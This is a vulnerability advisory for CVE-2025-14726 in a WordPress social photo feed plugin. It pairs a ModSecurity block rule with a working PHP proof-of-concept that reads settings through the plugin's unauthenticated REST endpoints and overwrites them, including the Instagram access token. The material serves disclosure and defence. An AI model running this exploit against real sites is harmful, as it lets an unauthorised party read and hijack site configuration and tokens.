CVE-2025-14726: Widgets for Social Photo Feed <= 1.8 – Missing Authentication to Unauthenticated Plugin Settings Access/Update via trustindex_feed_hook_instagram REST API endpoints (social-photo-feed-widget)

# Atomic Edge WAF Rule - CVE-2025-14726 (metadata-based)
# Blocks unauthenticated access to missing-capability REST API endpoints
# Matches exact path patterns for troubleshooting and submit-data endpoints

SecRule REQUEST_URI "@rx ^/wp-json/trustindex_feed_hook_instagram/v1/(troubleshooting|submit-data)$" 
  "id:202514726,phase:2,deny,status:403,msg:'CVE-2025-14726 - Unauthenticated access to plugin REST API endpoint (Widgets for Social Photo Feed)',severity:'CRITICAL',tag:'CVE-2025-14726'"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14726 - Widgets for Social Photo Feed <= 1.8 - Missing Authentication to Unauthenticated Plugin Settings Access/Update

/**
 * This PoC demonstrates unauthenticated access and modification of plugin settings
 * via missing capability checks on REST API endpoints.
 * 
 * Usage: php cve-2025-14726-poc.php http://target-wordpress-site.com
 */

// Configuration - set your target WordPress URL here
$target_url = 'http://localhost/wordpress'; // CHANGE THIS

// Initialize cURL handler
$ch = curl_init();

// Step 1: Access plugin troubleshooting/settings data (unauthenticated GET)
echo "[*] Attempting to access plugin settings via GET /troubleshooting...n";

$endpoint_get = $target_url . '/wp-json/trustindex_feed_hook_instagram/v1/troubleshooting';

curl_setopt_array($ch, [
    CURLOPT_URL => $endpoint_get,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HTTPHEADER => ['User-Agent: AtomicEdge-PoC/1.0'],
    CURLOPT_TIMEOUT => 15
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code === 200) {
    echo "[+] Success! Retrieved plugin settings (HTTP $http_code):n";
    $data = json_decode($response, true);
    if ($data !== null) {
        print_r($data);
    } else {
        echo $response . PHP_EOL;
    }
} elseif ($http_code === 403 || $http_code === 401) {
    echo "[-] Permission denied (HTTP $http_code) - target may be patched.n";
} else {
    echo "[!] Unexpected HTTP status: $http_coden";
}

// Step 2: Attempt to modify plugin settings (unauthenticated POST)
echo "n[*] Attempting to modify plugin settings via POST /submit-data...n";

$endpoint_post = $target_url . '/wp-json/trustindex_feed_hook_instagram/v1/submit-data';

// Example payload: change an API key or configuration value
// The actual parameter names would depend on the plugin's data structure
$payload = [
    'instagram_access_token' => 'ATTACKER_CONTROLLED_TOKEN',
    'feed_display_mode' => 'grid',
    'cache_duration' => '3600'
];

curl_setopt_array($ch, [
    CURLOPT_URL => $endpoint_post,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($payload),
    CURLOPT_HTTPHEADER => [
        'User-Agent: AtomicEdge-PoC/1.0',
        'Content-Type: application/x-www-form-urlencoded'
    ]
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code === 200) {
    echo "[+] Success! Plugin settings updated (HTTP $http_code):n";
    echo $response . PHP_EOL;
} elseif ($http_code === 403 || $http_code === 401) {
    echo "[-] Permission denied (HTTP $http_code) - target may be patched.n";
} else {
    echo "[!] Unexpected HTTP status: $http_coden";
}

curl_close($ch);
echo "n[*] PoC execution completed.n";